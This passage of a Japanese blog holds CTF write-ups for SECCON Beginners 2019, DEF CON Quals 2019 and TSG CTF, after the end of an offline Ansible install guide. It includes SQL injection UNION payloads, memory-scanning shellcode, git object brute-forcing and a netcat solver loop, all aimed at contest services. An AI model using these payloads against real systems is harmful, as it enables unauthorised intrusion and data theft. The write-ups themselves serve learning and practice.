$ cd libssl-dev_deb_packages $ sudo dpkg -i --force-depends *.deb
4-6. pywinrmをインストールする
- 事前に用意したpywinrmのpipパッケージを持ってくる。
- pipパッケージをすべてインストールする。
$ cd pywinrm_pip_packages $ pip install --no-index --find-links . *
おわりに
今回は、オフラインのWindows10環境にAnsibleを導入する手順について紹介しました。 ここまでやって、やっとAnsibleを使用するためのスタートラインに立つことができます。
大会当日は、手動で導入作業していたため、Ansibleが使用できるようになるまでに約40分掛かってしまいました。 このようにオフライン環境に一から導入するには、結構時間がかかってしまいます。 Ansibleの用途にもよりますが、単純なものであれば、シンプルなシェルスクリプトなどで代用することも検討に入れたほうがいいと思います。
参考にしたサイト
- Install the Linux Subsystem on Windows Server | Microsoft Docs
- Manually download Windows Subsystem for Linux (WSL) Distros | Microsoft Docs
- Ubuntu 16.04: 依存パッケージを含めたdebパッケージをダウンロードする - Narrow Escape
- pip - Python Packages Offline Installation - Stack Overflow
- Gou Home | Blog Archive | 【 dpkg 】 debパッケージのインストール・アンインストールを行う
SECCON Beginners CTF 2019 Writeup
SECCON Beginners CTF 2019 について
SECCON Beginners CTF 2019が開催されました。
2019月5月25日 午後3時~5月26日 午後3時(24時間)
https://score.beginners.seccon.jp/score.beginners.seccon.jp
今回は、4人のチームで参加しました。結果は、72位で1291点でした。 これまで参加してきたDEFCONやTSGなどと違って易しい問題が多かったです。
SECCON Beginners CTF 2019 Writeup
(7問)
私が実際に解いた7つの問題だけ紹介します。
[Web] Ramen
問題
解答例
https://ramen.quals.beginners.seccon.jp にアクセスしてみると、ラーメン屋の店員紹介ページが表示されました。
名前の入力欄があるようです。 試しに「'」と入力してみると、PHPのエラーが表示されました。SQLインジェクションができそうです。
Fatal error: Uncaught Error: Call to a member function fetchAll() on boolean in /var/www/web/public/index.php:11 Stack trace: #0 {main} thrown in /var/www/web/public/index.php on line 11
いろいろ入力してみると、以下の入力でテーブル名一覧を取得することができました。
' UNION SELECT table_name, null FROM INFORMATION_SCHEMA.COLUMNS --
省略
flagというテーブルがあるようです。 以下のように入力してみると、フラグを取得することができました。
' UNION SELECT flag, null FROM flag --
FLAG
ctf4b{a_simple_sql_injection_with_union_select}
[Web] katsudon
問題
Rails 5.2.1で作られたサイトです。
https://katsudon.quals.beginners.seccon.jp
クーポンコードを復号するコードは以下の通りですが、まだ実装されてないようです。
フラグは以下にあります。
https://katsudon.quals.beginners.seccon.jp/flag
# app/controllers/coupon_controller.rb class CouponController < ApplicationController def index end def show serial_code = params[:serial_code] @coupon_id = Rails.application.message_verifier(:coupon).verify(serial_code) end end
解答例
とりあえず、https://katsudon.quals.beginners.seccon.jp にアクセスしてみると、3つのシリアルコードが書かれていました。
BAhJIhByZWl3YWhhbnRlbgY6BkVU--bc5614afcef948624ebc137432c2dcdc624111b6 BAhJIhNoZWlzZWlzaG9rdWRvdQY6BkVU--f9aa81191fb073fb87bfa71b20c02bf3a30d1b10 BAhJIhRyZXN0YXVyYW50c2hvd2EGOgZFVA==--a78497e11151cffc45af945a1a243138b6084140
最後のシリアルコードだけ==という文字列があり、Base64でエンコードされているように見えます。 それぞれデコードしてみると、以下の通りになり、店名が出てきました。
..I".reiwahanten.:.ET ..I".heiseishokudou.:.ET ..I".restaurantshowa.:.ET
次に https://katsudon.quals.beginners.seccon.jp/flag に確認すると、シリアルコードだけが書かれていました。
BAhJIiVjdGY0YntLMzNQX1kwVVJfNTNDUjM3X0szWV9CNDUzfQY6BkVU--0def7fcd357f759fe8da819edd081a3a73b6052a
同様にBase64でデコードしてみると、フラグが出てきました。
..I"%ctf4b{K33P_Y0UR_53CR37_K3Y_B453}.:.ET
フラグ
ctf4b{K33P_Y0UR_53CR37_K3Y_B453}
[Reversing] Seccompare
問題
https://score.beginners.seccon.jp/files/seccompare_44d43f6a4d247e65c712d7379157d6a9.tar.gz
解答例
ダウンロードしてきたファイルにとりあえず、fileコマンドを実行しました。
$ file seccompare seccompare: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=4a607c82ea263205071c80295afe633412cda6f7, not stripped
ELFファイルだったので、Ghidraで開いてみました。
1文字ずつ値を代入し、strcmpで比較しているようです。 ltraceで関数呼び出しをトレース出力してみると、strcmp関数による比較処理で、フラグを確認することができました。
$ ltrace ./seccompare aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa strcmp("ctf4b{5tr1ngs_1s_n0t_en0ugh}", "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"...) = 2 puts("wrong"wrong ) = 6 +++ exited (status 0) +++
FLAG
ctf4b{5tr1ngs_1s_n0t_en0ugh}
[Crypto] So Tired
問題
最強の暗号を作りました。 暗号よくわからないけどきっと大丈夫!
File: so_tired.tar.gz
解答例
ダウンロードしてきたファイルにとりあえず、fileコマンドを実行しました。
$ file encrypted.txt encrypted.txt: ASCII text, with very long lines, with no line terminators
普通のテキストファイルのようなので中身を確認してみました。 末尾のほうを見ると==となっていたので、Base64でエンコードされているようです。
省略 OS79ZdkY3RZVE55QKbgtlPXoZ5vgL0L4ig5FFk07kYmt9oP4+xY8VKB7Iqh9I+5+K5v4B8HzgzA==
ここからは、CyberChefで作業しました。
まず、「From Base64」でデコードすると、zlibで圧縮されたデータが出てきました。
次に、「Zlib Inflate」で展開してみると、またBase64らしきデータが出てきました。
もう一度、「From Base64」でデコードすると、またzlibで圧縮されたデータが出てきました。
「From Base64」→「Zlib Inflate」を繰り返し展開していく問題のようです。 「Label」と「Conditional Jump」を使って、ctf4bという文字列が現れるまでループさせるとフラグを取得することができました。
FLAG
ctf4b{very_l0ng_l0ng_BASE64_3nc0ding}
[Misc] Welcome
問題
SECCON Beginners CTFのIRCチャンネルで会いましょう。
IRC: freenode.net #seccon-beginners-ctf
解答例
IRC: freenode.net と書かれていたので、freenode.netで検索すると、IRCのサービスが出てきました。
「Channels」に「#seccon-beginners-ctf」と入力して「Connect」を押すと、 SECCON Beginners CTF 2019の運営に質問するためのチャンネルに接続できました。
チャンネルの説明欄にフラグが書かれていました。
FLAG
ctf4b{welcome_to_seccon_beginners_ctf}
[Misc] containers
問題
Let's extract files from the container. https://score.beginners.seccon.jp/files/e35860e49ca3fa367e456207ebc9ff2f_containers
解答例
ダウンロードしてきたファイルにとりあえず、fileコマンドを実行しました。
$ file e35860e49ca3fa367e456207ebc9ff2f_containers e35860e49ca3fa367e456207ebc9ff2f_containers: data
dataと表示され、よく分からないのでbinwalkコマンドを実行してみました。
$ binwalk e35860e49ca3fa367e456207ebc9ff2f_containers DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 16 0x10 PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced 107 0x6B Zlib compressed data, compressed 738 0x2E2 PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced 829 0x33D Zlib compressed data, compressed 1334 0x536 PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced 1425 0x591 Zlib compressed data, compressed 1914 0x77A PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced 2005 0x7D5 Zlib compressed data, compressed 2856 0xB28 PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced 2947 0xB83 Zlib compressed data, compressed 3666 0xE52 PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced 3757 0xEAD Zlib compressed data, compressed 4354 0x1102 PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced 4445 0x115D Zlib compressed data, compressed 5156 0x1424 PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced 5247 0x147F Zlib compressed data, compressed 5846 0x16D6 PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced 5937 0x1731 Zlib compressed data, compressed 6722 0x1A42 PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced 6813 0x1A9D Zlib compressed data, compressed 7757 0x1E4D PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced 7848 0x1EA8 Zlib compressed data, compressed 8338 0x2092 PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced 8429 0x20ED Zlib compressed data, compressed 9243 0x241B PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced 9334 0x2476 Zlib compressed data, compressed 10319 0x284F PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced 10410 0x28AA Zlib compressed data, compressed 11042 0x2B22 PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced 11133 0x2B7D Zlib compressed data, compressed 12118 0x2F56 PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced 12209 0x2FB1 Zlib compressed data, compressed 12809 0x3209 PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced 12900 0x3264 Zlib compressed data, compressed 13845 0x3615 PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced 13936 0x3670 Zlib compressed data, compressed 14592 0x3900 PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced 14683 0x395B Zlib compressed data, compressed 15535 0x3CAF PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced 15626 0x3D0A Zlib compressed data, compressed 16440 0x4038 PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced 16531 0x4093 Zlib compressed data, compressed 17313 0x43A1 PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced 17404 0x43FC Zlib compressed data, compressed 18218 0x472A PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced 18309 0x4785 Zlib compressed data, compressed 19123 0x4AB3 PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced 19214 0x4B0E Zlib compressed data, compressed 19926 0x4DD6 PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced 20017 0x4E31 Zlib compressed data, compressed 20869 0x5185 PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced 20960 0x51E0 Zlib compressed data, compressed 21742 0x54EE PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced 21833 0x5549 Zlib compressed data, compressed 22465 0x57C1 PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced 22556 0x581C Zlib compressed data, compressed 23408 0x5B70 PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced 23499 0x5BCB Zlib compressed data, compressed 23989 0x5DB5 PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced 24080 0x5E10 Zlib compressed data, compressed 24810 0x60EA PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced 24901 0x6145 Zlib compressed data, compressed 25753 0x6499 PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced 25844 0x64F4 Zlib compressed data, compressed 26788 0x68A4 PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced 26879 0x68FF Zlib compressed data, compressed 27599 0x6BCF PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced 27690 0x6C2A Zlib compressed data, compressed 28504 0x6F58 PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced 28595 0x6FB3 Zlib compressed data, compressed 29085 0x719D PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced 29176 0x71F8 Zlib compressed data, compressed 29808 0x7470 PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced 29899 0x74CB Zlib compressed data, compressed 30844 0x787C PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced 30935 0x78D7 Zlib compressed data, compressed 31524 0x7B24 PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced 31615 0x7B7F Zlib compressed data, compressed
PNG形式のデータが複数混ざっているようです。 foremostコマンドで抽出してみます。
$ foremost e35860e49ca3fa367e456207ebc9ff2f_containers Processing: e35860e49ca3fa367e456207ebc9ff2f_containers |*|
抽出したファイルを確認すると、画像に文字が書かれており、フラグになっていました。
FLAG
ctf4b{e52df60c058746a66e4ac4f34db6fc81}
[Misc] Sliding puzzle
問題
nc 133.242.50.201 24912
スライドパズルを解いてください。すべてのパズルを解き終わったとき FLAG が表示されます。
スライドパズルは以下のように表示されます。 ----------------
| 0 | 2 | 3 |
| 6 | 7 | 1 |
| 8 | 4 | 5 |
----------------0 はブランクで動かすことが可能です。操作方法は以下のとおりです。
0 : 上
1 : 右
2 : 下
3 : 左
最終的に以下の形になるように操作してください。----------------
| 0 | 1 | 2 |
| 3 | 4 | 5 |
| 6 | 7 | 8 |
----------------操作手順は以下の形式で送信してください。
1,3,2,0, ... ,2
解答例
netcatで 133.242.50.201:24912 に接続してみると、以下のように表示されました。
$ nc 133.242.50.201 24912 ---------------- | 03 | 01 | 04 | | 00 | 05 | 02 | | 06 | 07 | 08 | ---------------- 0,0,0,0,0,0 [-] Incorrect answer.
10秒でタイムアウトしてしまうようなので、プログラムを書いて解いていく問題のようです。 8パズルを解くプログラムを1から組むのは大変なので、検索していると幅優先探索で8パズルを解いているブログがありました。
上記のブログのプログラムを参考に今回の問題を解いていきます。
# 8-puzzle.py from collections import deque from pwn import * MOVE = {'U': (0, -1), 'D': (0, 1), 'L': (-1, 0), 'R': (1, 0)} # (x,y) def get_next(numbers): for d in 'UDLR': zero_index = numbers.index(0) tx, ty = zero_index % 3 + MOVE[d][0], zero_index // 3 + MOVE[d][1] if 0 <= tx < 3 and 0 <= ty < 3: target_index = ty * 3 + tx result = list(numbers) result[zero_index], result[target_index] = numbers[target_index], 0 yield d, tuple(result) def checkio(puzzle): queue = deque([(tuple(n for line in puzzle for n in line), '')]) seen = set() while queue: numbers, route = queue.popleft() seen.add(numbers) # if numbers == (1, 2, 3, 4, 5, 6, 7, 8, 0): if numbers == (0, 1, 2, 3, 4, 5, 6, 7, 8): return route for direction, new_numbers in get_next(numbers): if new_numbers not in seen: queue.append((new_numbers, route + direction)) p = remote('133.242.50.201', 24912) count = 1 while True: try: puzzle = [] for _ in range(3): p.readuntil('| ') read_line = p.readline().strip().replace(' ', '').split('|') puzzle_row = [int(read_line[0]), int(read_line[1]), int(read_line[2])] puzzle.append(puzzle_row) answer_UDLR = checkio(puzzle) answer = answer_UDLR \ .replace('U', '0,') \ .replace('D', '2,') \ .replace('L', '3,') \ .replace('R', '1,')[:-1] p.sendline(answer) print('-----' + str(count) + '-----') print(puzzle) print(answer) count += 1 except EOFError: break p.interactive()
上記のプログラムを実行してみると、100問解いた後にフラグが表示されました。
$ python 8-puzzle.py [+] Opening connection to 133.242.50.201 on port 24912: Done -----1----- [[0, 2, 5], [1, 3, 8], [6, 4, 7]] 2,1,2,1,0,0,3,3 -----2----- [[4, 3, 2], [6, 1, 8], [0, 5, 7]] 0,0,1,2,2,1,0,3,3,0 -----3----- [[1, 2, 0], [3, 4, 5], [6, 7, 8]] 3,3 -----4----- [[1, 2, 0], [3, 4, 5], [6, 7, 8]] 3,3 -----5----- [[1, 2, 5], [3, 4, 0], [6, 7, 8]] 0,3,3 省略 -----96----- [[1, 4, 2], [6, 3, 5], [0, 7, 8]] 0,1,0,3 -----97----- [[1, 4, 2], [3, 0, 7], [6, 8, 5]] 1,2,3,0,0,3 -----98----- [[3, 1, 2], [7, 6, 5], [0, 4, 8]] 0,1,2,3,0,0 -----99----- [[3, 1, 2], [0, 7, 5], [4, 6, 8]] 2,1,0,3,0 -----100----- [[1, 2, 0], [3, 4, 5], [6, 7, 8]] 3,3 [*] Switching to interactive mode ---------------- [+] Congratulations! ctf4b{fe6f512c15daf77a2f93b6a5771af2f723422c72} [*] Got EOF while reading in interactive
FLAG
ctf4b{fe6f512c15daf77a2f93b6a5771af2f723422c72}
DEF CON CTF Qualifier 2019 Writeup
DEF CON CTF Qualifier 2019 について
毎年恒例のDEF CON予選が開催されました。
2019年5月11日(土)午前9時~5月13日(月)午前9時まで(48時間)
私は3問しか解くことができませんでした。結果は、153位で310点でした。 ほとんどがPWN系の問題でかなり難しいといった印象でした。
DEF CON CTF Qualifier 2019 Writeup(3問)
[FIRST CONTACT] WELLCOME_TO_THE_GAME
問題
Welcome to the 2019 DEF CON CTF quals! Let's start it out with a free flag :)
If you can't submit it and get points there must be something very wrong, and we hope it's on your end :D
添付ファイル(flag)
OOO{Game on!}
解答例
flagファイルをcatコマンドで表示するだけ
$ cat flag OOO{Game on!}
FLAG
OOO{Game on!}
[FIRST CONTACT] KNOW_YOUR_MEM
問題
Find the flag page in memory, 64-bit edition. Timeouts are strict, please test locally first! There's a simplified version to help with that.
know_your_mem.quals2019.oooverflow.io 4669
添付ファイル
解答例
とりあえず、README.mdやshellcode.cなどを参考にビルドしてみました。 私の環境だとgetrandomシステムコールがなかったので、少しソースコードを調整しました。 また、alarm関数があり、中断されるのでそこもコメントアウトしました。
know_your_mem.cとsimplified.cの修正箇所
- 4行目をコメントアウト
// #include <sys/random.h>
- 40行目のコメントを戻す
int fd = open("/dev/urandom", O_RDONLY); if (read(fd, &ret, sizeof(ret)) != sizeof(ret)) { err(47, "urandom"); } close(fd);
- 41行目をコメントアウト
// if (getrandom(&ret, sizeof(ret), GRND_NONBLOCK) != sizeof(ret)) err(47, "getrandom");
- 180行目をコメントアウト
// alarm(10);
必要なパッケージのインストール、権限設定を行います。
$ sudo apt install libseccomp-dev libseccomp2 $ git clone https://chromium.googlesource.com/linux-syscall-support $ chmod +x topkt.py
README.mdにある通りに make check
をすると以下の通りになります。
$ make check ./simplified [ ] This challenge may be slightly easier in Linux 4.17+. Here, we're running on Linux 4.9.0-8-amd64 (x86_64) Loading your simplified solution from ./simplified_shellcode.so [ ] Putting the flag somewhere in memory... Secret loaded (header + 107 bytes) [H] The flag is at 0x1d8cfbca6000 [ ] Putting red herrings in memory... [H] Red herring at 0x1c6adb0bc000 [H] Red herring at 0x1ede9e616000 [H] Red herring at 0x1492e76a5000 [H] Red herring at 0x1b9afff9d000 [H] Red herring at 0x15bea09ed000 [H] Red herring at 0x15bd1d2dc000 [H] Red herring at 0x1ec8383dd000 [H] Red herring at 0x1d90cf8cd000 [H] Red herring at 0x10e19c9bd000 [H] Red herring at 0x176bcd88d000 [H] Red herring at 0x165d121fb000 [H] Red herring at 0x1f26fc306000 [H] Red herring at 0x183b81dff000 [H] Red herring at 0x1e47eccb1000 [H] Red herring at 0x1afc15a34000 [H] Red herring at 0x15ad9b443000 [H] Red herring at 0x16e1dec4d000 [H] Red herring at 0x1e45e4bbd000 [H] Red herring at 0x149657cdf000 [H] Red herring at 0x19e7a56c9000 [H] Red herring at 0x1a6c4a3b5000 [H] Red herring at 0x1eb70b0c6000 [H] Red herring at 0x1aee559f9000 [H] Red herring at 0x1e334063d000 [H] Red herring at 0x189b2c68a000 [H] Red herring at 0x1bc581407000 [H] Red herring at 0x1b408858a000 [H] Red herring at 0x1a78fd20f000 [H] Red herring at 0x16db44b80000 [H] Red herring at 0x1f26e0d3f000 [*] seccomp filter now active! Hi! Soon I'll be your shellcode! [*] Your shellcode returned 0x123456 [!] Sorry, you didn't find the secret address. Makefile:27: ターゲット 'check' のレシピで失敗しました make: *** [check] エラー 1
flagが書き込まれたメモリ領域を引き当てることができれば、フラグを取得できそうだということが分かりました。 shellcodeを記述できるような環境も揃っているようなので、そちらを利用して検証してみます。
まずは、ヒントとして用意されているsimplified.cとsimplified_shellcode.so.cを使って問題を解いてみます。 simplified_shellcode.so.cを編集して以下のプログラムを書きました。
- メモリ領域(0x00001ffffffff000~0x0000100000000000)を1ページ(4096byte)ずつ探索する。
- 見つけた領域をmprotectシステムコールを使って、READ権限の付与を行う。
- mprotectシステムコールは、確保されたメモリ領域でなければ、ENOMEMエラーを返す。 エラーが返ってこなければ、すでに確保された領域だと判定できる。
- 今回は適当にREAD権限の付与を行った。
- 確保されたメモリ領域を見つけたら、printf関数で表示する。
- 「OOO」の文字列を見つけたら、探索を終了する。
#include <stdio.h> #include <unistd.h> #include <sys/mman.h> #include <inttypes.h> #include <string.h> #define ADDR_MIN 0x0000100000000000UL #define ADDR_MASK 0x00000ffffffff000UL #define hint(x, ...) fprintf(stderr, "[H] " x, __VA_ARGS__) void *shellcode() { uintptr_t offset; void *addr = 0; printf("Hi! Soon I'll be your shellcode!\n"); for (offset = 0xffffffff; offset >= 0; offset--) { addr = (void *)(((offset << 12) & ADDR_MASK) + ADDR_MIN); if (mprotect(addr, 4096, PROT_READ) != 0) continue; hint("%p: Allocated Memory Found\n", addr); hint("%.100s\n", (char *)addr); if (strncmp(addr, "OOO", 3) == 0) break; } return addr; }
実行結果は、以下の通りになります。
$ ./simplified [ ] This challenge may be slightly easier in Linux 4.17+. Here, we're running on Linux 4.9.0-8-amd64 (x86_64) Loading your simplified solution from ./simplified_shellcode.so [ ] Putting the flag somewhere in memory... Secret loaded (header + 107 bytes) [H] The flag is at 0x1d384bdf8000 [ ] Putting red herrings in memory... [H] Red herring at 0x11c0a1626000 [H] Red herring at 0x15335a290000 [H] Red herring at 0x107d3964d000 [H] Red herring at 0x144355ee4000 [H] Red herring at 0x160aa56e7000 [H] Red herring at 0x175715a7c000 [H] Red herring at 0x1400c3e53000 [H] Red herring at 0x1f44346ca000 [H] Red herring at 0x195005f03000 [H] Red herring at 0x1ec52dce4000 [H] Red herring at 0x151ddf5cb000 [H] Red herring at 0x15aadcfbd000 [H] Red herring at 0x16f8cfca7000 [H] Red herring at 0x151605b97000 [H] Red herring at 0x13d2c86e9000 [H] Red herring at 0x10e899e43000 [H] Red herring at 0x10039b2ee000 [H] Red herring at 0x1d2e14bbf000 [H] Red herring at 0x1ce7b022d000 [H] Red herring at 0x184fd3ee9000 [H] Red herring at 0x1a27962ff000 [H] Red herring at 0x1ca467878000 [H] Red herring at 0x11118208c000 [H] Red herring at 0x185c01d03000 [H] Red herring at 0x1c5835743000 [H] Red herring at 0x114620a2e000 [H] Red herring at 0x10a01139a000 [H] Red herring at 0x12fae2514000 [H] Red herring at 0x120eba409000 [H] Red herring at 0x131e1400a000 [*] seccomp filter now active! Hi! Soon I'll be your shellcode! [H] 0x1f44346ca000: Allocated Memory Found [H] Sorry, this is just a red herring page. Keep looking! [H] 0x1ec52dce4000: Allocated Memory Found [H] Sorry, this is just a red herring page. Keep looking! [H] 0x1d384bdf8000: Allocated Memory Found [H] OOO: You found it, congrats! The flag is: OOO{theflagwillbehere} Make sure you print it to stdout, s [*] Your shellcode returned 0x1d384bdf8000 [^] Success! Make sure you're also printing the flag, and that it's not taking too long. Next: convert your solution to raw shellcode -- you can start with C code, BTW! shellcode.c shows one way to do it.
次に上記の結果を基にshellcode.cを編集してRAWシェルコードを作成しました。
static int my_errno = 0; #define SYS_ERRNO my_errno #include "linux-syscall-support/linux_syscall_support.h" #define PAGE_SIZE 4096 #define ADDR_MIN 0x0000100000000000UL // Low-ish #define ADDR_MASK 0x00000ffffffff000UL // Page-aligns #define ADDR_MAX (ADDR_MASK + ADDR_MIN + PAGE_SIZE) #define N_FAKES 30 void _start() { void *addr = (void *)ADDR_MAX; int i; for (i = 0; i < N_FAKES + 1; i++) { do { addr -= PAGE_SIZE; } while (sys_mprotect(addr, PAGE_SIZE, 1) != 0); sys_write(1, addr, PAGE_SIZE); } sys_exit_group(2); }
flagが書き込まれたメモリ領域は、ランダムで決まります。 10秒以内でflagが書き込まれたメモリ領域が見つかることを祈って、何回か実行させました。 200回程度の試行回数で発見することができました。
#!/bin/bash echo "pid: $$" count=0 echo -en "try: $count" while : do nc know_your_mem.quals2019.oooverflow.io 4669 < shellcode.bin.pkt >> $$.log FLAG=`grep -a OOO $$.log` if [ "$FLAG" ]; then echo -e "\n$FLAG" break fi let count++ echo -en "\rtry: $count" done
$ make shellcode.bin.pkt $ chmod +x ./solve.bash $ ./solve.bash pid: 7626 try: 200 OOO: You found it, congrats! The flag is: OOO{so many bits, so many syscalls}
FLAG
OOO{so many bits, so many syscalls}
[FIRST CONTACT] CANT_EVEN_UNPLUG_IT
問題
You know, we had this up and everything. Prepped nice HTML5, started deploying on a military-grade-secrets.dev subdomain, got the certificate, the whole shabang. Boss-man got moody and wanted another name, we set up the new names and all. Finally he got scared and unplugged the server. Can you believe it? Unplugged. Like that can keep it secret…
添付ファイル(HINT)
Hint: these are HTTPS sites. Who is publicly and transparently logging the info you need? Just in case: all info is freely accessible, no subscriptions are necessary. The names cannot really be guessed.
解答例
問題文を要約すると、以下の通りになります。
- HTML5で書かれたWebサイトを作成した。
- military-grade-secrets.devのサブドメインで証明書を作成した。
- 名前が気に入らなかったので、新しいドメイン名を取得した。
- Webサイトの公開を停止した。
military-grade-secrets.devのサブドメインで証明書を作成しているということなので、証明書の登録を確認しました。 今回は、Check website securityというサービスを利用して検索しました。
「military-grade-secrets.dev」と入力し、「Include subdomains」にチェックを入れて検索します。 以下の2つのサブドメインで登録されていることが確認できました。
- secret-storage.military-grade-secrets.dev
- now.under.even-more-militarygrade.pw.military-grade-secrets.dev
どちらか片方にcurlで接続してみます。
$ curl https://secret-storage.military-grade-secrets.dev <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"> <TITLE>302 Moved</TITLE></HEAD><BODY> <H1>302 Moved</H1> The document has moved <A HREF="https://forget-me-not.even-more-militarygrade.pw">here</A>. </BODY></HTML>
https://forget-me-not.even-more-militarygrade.pw にリダイレクトされるようになっていました。 curlで接続してみましたが、今度は接続できませんでした。 問題文にあるようにサーバは既に切断されているようです。
Finally he got scared and unplugged the server.
$ curl https://forget-me-not.even-more-militarygrade.pw curl: (7) Failed to connect to forget-me-not.even-more-militarygrade.pw port 443: Connection refused
ウェブアーカイブに残っているかもしれないと、アクセスしてみるとフラグの書かれたページを表示することができました。
http://web.archive.org/web/20190309234647/http://forget-me-not.even-more-militarygrade.pw/
FLAG
OOO{DAMNATIO_MEMORIAE}
TSG CTF Writeup
TSG CTF について
東京大学のコンピュータサイエンス系学生団体TSGと株式会社FlattによるCTFの大会が開催されました。 2019年5月4日(土)午後4時〜2019年5月5日(日)午後4時(24時間)
1位から3位までのチームには、賞金が貰えるそうです。 私も参加しましたが、全然歯が立たず、2/22問しか解くことができませんでした。 結果は、370点で79/410位でした。
TSG CTF Writeup(4問)
[Warmup] Sanity Check
問題
Log in to our Discord server for TSG CTF and find the flag here:
TSG CTF のDiscordサーバー にログインして↓の場所に書いてあるフラグを送信してください。
解答例
TSG CTFのDiscodeサーバに接続して、#announcements とトピックに書かれたフラグを送信するだけのウォーミングアップ問題です。
FLAG
TSGCTF{ur_here_cuz_u_absolutely_won_inshack_ctf?}
[Forensics] Obliterated File
問題
※ This problem has unintended solution, fixed as "Obliterated File Again". Original problem statement is below.
Working on making a problem of TSG CTF, I noticed that I have staged and committed the flag file by mistake before I knew it. I googled and found the following commands, so I'm not sure but anyway typed them. It should be ok, right?
※ この問題は非想定な解法があり,"Obliterated File Again" で修正されました.元の問題文は以下の通りです.
TSG CTFに向けて問題を作っていたんですが,いつの間にか誤ってflagのファイルをコミットしていたことに気付いた!とにかく,Google先生にお伺いして次のようなコマンドを打ちこみました.よくわからないけどこれできっと大丈夫...?
Difficulty Estimate: easy
$ git filter-branch --index-filter "git rm -f --ignore-unmatch problem/flag" --prune-empty -- --all $ git reflog expire --expire=now --all $ git gc --aggressive --prune=now
添付ファイル(problem.zip)
解答例
添付されたzipファイルを展開すると、gitで管理されていたであろうソースコードが確認できます。 下記の記事を参考にflagファイルの復元を試してみると、あっさり復元に成功してしまいました。
$ unzip problem.zip $ cd easy_web/ $ git rev-list -n 1 HEAD -- flag 28d2b74b0c40583a87cf275f9f0cdfd55042884d $ git checkout 28d2b74b0c40583a87cf275f9f0cdfd55042884d^ -- flag $ ls README.md flag problem
ただし、flagファイルは、zlibで圧縮されているようでそのまま読み取ることができません。
$ file flag flag: zlib compressed data
しばらくzip内のファイルを探索していると、 easy_web/problem/main.cr にzlibで圧縮されたファイルの読み取り処理がありました。
require "./src/*" require "sqlite3" #require "zlib" #flag = File.open("./flag", "r") do |f| # Zlib::Reader.open(f) do |inflate| # inflate.gets_to_end # end #end flag = ENV["flag"] `rm -rf data.db` DB.open "sqlite3://./data.db" do |db| db.exec "CREATE TABLE accounts (id text primary key, pass text);" db.exec "INSERT INTO accounts VALUES ('admin', '#{flag}');" end Kemal.config.env = "production" Kemal::Session.config.secret = ENV["session_secret"]
コメントアウトされているので、TSG CTF運営がわざと残してくれたものだと思います。せっかくなのでこれを利用して、フラグを読み取りました。
まずは、main.crを下記の通りに書き換えます。
require "zlib" flag = File.open("../flag", "r") do |f| Zlib::Reader.open(f) do |inflate| inflate.gets_to_end end end print flag print "\n"
下記コマンドを実行すると、フラグが表示されます。
$ crystal main.cr TSGCTF{$_git_update-ref_-d_refs/original/refs/heads/master}
FLAG
TSGCTF{$_git_update-ref_-d_refs/original/refs/heads/master}
[Forensics] Obliterated File Again
問題
I realized that the previous command had a mistake. It should be right this time...?
さっきのコマンドには間違いがあったことに気づきました.これで今度こそ本当に,本当に大丈夫なはず......?
Difficulty Estimate: easy - medium
$ git filter-branch --index-filter "git rm -f --ignore-unmatch *flag" --prune-empty -- --all $ git reflog expire --expire=now --all $ git gc --aggressive --prune=now
添付ファイル(problem.zip)
解答例
Obliterated File と同様の手法では、flagファイルを復元することができませんでした。
そのため、別の案として、ハッシュ値を総当たりで git cat-file -p xxxx
コマンドを実行し、flagファイルを復元する作戦を取りました。
- ハッシュ値を4桁分だけ求める。
- git cat-file -p
を実行して、ファイルに書き出す。 - 上記を繰り返す。
# brute_git_catfile.py import subprocess from tqdm import tqdm for i in tqdm(range(0xFFFF)): hash4 = hex(i).split('x')[1].zfill(4) try: subprocess.check_call("git cat-file -p " + hash4 + ">> git_catfile.log 2>/dev/null", shell=True) except: pass
上記のプログラムですべてのファイルを出力したので、grepで絞り込んでflagファイルを復元します。
